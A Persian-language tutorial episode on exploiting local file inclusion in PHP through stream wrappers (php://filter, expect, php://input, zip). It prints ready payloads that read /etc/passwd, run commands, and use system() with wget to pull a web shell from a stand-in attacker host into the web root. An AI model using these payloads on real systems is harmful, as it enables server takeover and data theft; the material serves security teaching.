در این قسمت از دوره آموزشی LFI، با تکنیکی جدید در خدمت شما هستیم تا قولی که در انتهای قسمت قبل برای نمایش جنبه های خطرناک این آسیب پذیری داده بودیم را عملی کرده باشیم! 😊 در این قسمت با استفاده از Wrapper های موجود در PHP، سعی خواهیم کرد تا محتویات یک فایل را از داخل سرور بخوانیم یا کد اجرا کنیم.
در ابتدا باید بدانیم که Wrapper ها چیستند؟ Wrapper ها در واقع کدهای آماده ای هستند که نحوه استفاده از پروتکل ها و کدگذاری های مختلف را در جریان اطلاعات مدیریت میکنند. برای مثال زمانی که میخواهیم خروجی ما برای یک ورودی خاص، به صورت base64 کد شود نیاز به استفاده از یک wrapper داریم که در زبان PHP آن را filter می نامند. در این بخش چندین نمونه از معروفترین Wrapper ها را با هم خواهیم شناخت و نحوه استفاده از آنها را یاد خواهیم گرفت تا بتوانیم به مرحله جدیدی از درک، در مورد خطرناک بودن LFI برسیم! 😉
روش php://filter
در این روش با استفاده از wrapper فیلتر میتوانیم خروجی فایل را به صورت base64 کد کرده و دریافت کنیم و بعداً آن را decode کنیم.
به عنوان نمونه با استفاده از فیلتری مشابه مثال زیر میتوانیم در خروجی، محتوای فایل passwd سرور را به صورت کد شده با base64 دریافت کنیم.
php://filter/convert.base64-encode/resource=../../../etc/passwd
نمونهای از اجرای ورودی بالا در یک سایت را میتوانید در تصویر زیر مشاهده کنید.
همانگونه که در تصویر بالا مشاهده میشود محتویات فایل etc/passwd/ به صورت base64 کد شده و میتوان به آسانی آن را decode کرد و به مشخصات کاربران سرور دسترسی پیدا کرد.
روش php expect
در این روش با استفاده از expect میتوانیم روی سرور دستور اجرا کنیم. نمونهای از استفاده از این wrapper را در مثال زیر میتوانید مشاهده کنید.
https://example.com/index.php?page=expect://ls
در مثال بالا پس از باز کردن آدرس، دستور ls اجرا میشود و باید در خروجی لیست فایلهای دایرکتوری فعلی را مشاهده کنیم. البته توجه کنید که به صورت عادی این ماژول فعال نیست. البته در صورت فعال نبودن این wrapper میتوانیم با استفاده از input wrapper کار خود را انجام دهیم که نمونهای از این کار را در مثال زیر مشاهده میکنید.
https://example.com/index.php?page=php://input&cmd=ls
توجه داشته باشید که این درخواست به صورت POST انجام میشود و نمونه ی آن را در تصویر زیر میتوانید مشاهده کنید.
پاسخ درخواست بالا، مطابق تصویر زیر حاوی لیست فایلهای موجود در دایرکتوری است.
روش php://input
در این روش یک قطعه کد PHP را به عنوان ورودی با متد POST ارسال میکنیم و با استفاده از توابع اجرای دستور در PHP مانند تابع system یا shell_exec دستور مورد نظر خود را روی سرور اجرا میکنیم. نمونهای از استفاده از این روش در مثال زیر مشخص است که منظور از بخش Post Body همان بدنه درخواست است و بخش Host نمایش دهنده محتوای هدر HTTP مربوط بهHost است.
Host: https://example.com/index.php?page=php://input
Post Body:
<? system('wget http://AttackersWebsite.com/shell.txt -O /var/www/html/shell.php');?>
در نمونه بالا در بدنه درخواست POST از دستور wget استفاده کردهایم تا یک shell از نوع php را روی سایت دانلود کنیم و در آدرس قابلمشاهده توسط وب سرور قرار دهیم.
روش zip wrapper
در این روش با استفاده از یک آپلودر در سایت مورد نظر یک فایل زیپ حاوی یک فایل shell را در سایت مورد نظر آپلود میکنیم و سپس با استفاده از LFI و Zip Wrapper فایل zip مورد نظر را با اسم دلخواه خودمان extract میکنیم. مراحل پیاده سازی این سناریو به شرح زیر است:
1. آماده کردن یک فایل php با نام shell.php حاوی کد دلخواه خودمان، مثلاً یک شل php ساده یا یک فایل منیجر
2. زیپ کردن فایل
3. آپلود کردن فایل زیپ شده
4. دسترسی به آدرس فایل زیپ شده با استفاده از zip wrapper که منجر به extract شدن آن و نهایتا دسترسی به آدرس شل میشود.
مثالی از نحوه دسترسی:
https://example.com/index.php?page=zip://path/to/file.zip%23shell
در صورتی که به صورت خودکار وب سرورphp. را به انتهای فایل استخراج شده اضافه نکرد مانند مثال زیر میتوانیم مستقیما پسوند را به انتهای آدرس اضافه کنیم:
https://example.com/index.php?page=zip://path/to/file.zip%23shell.php
در حال نزدیک شدن به پایان این قسمت از دوره هستیم و امیدواریم تا اینجا لذت کافی را از شرکت در این دوره برده باشید! تا این قسمت از دوره، ما با LFI آشنا شدیم و در این قسمت نیز چند تکنیک جدید با استفاده از wrapper ها را یاد گرفتیم و متوجه شدیم که این آسیب پذیری تا چه حدی میتواند خطرناک باشد! اگر به دنبال دیدن قسمتی هیجانی تر از سریال آموزش LFI هستید در اپیزود بعدی این دوره، همراه ما باشید! 😉
در صورتی که پیشنهاد جایگزین یا روشی مشابه تکنیک های گفته شده در این قسمت را بلد هستید، همچنان در بخش نظرات منتظر شما هستیم! 😊 تا قسمت بعدی شما را به خداوند بزرگ می سپاریم!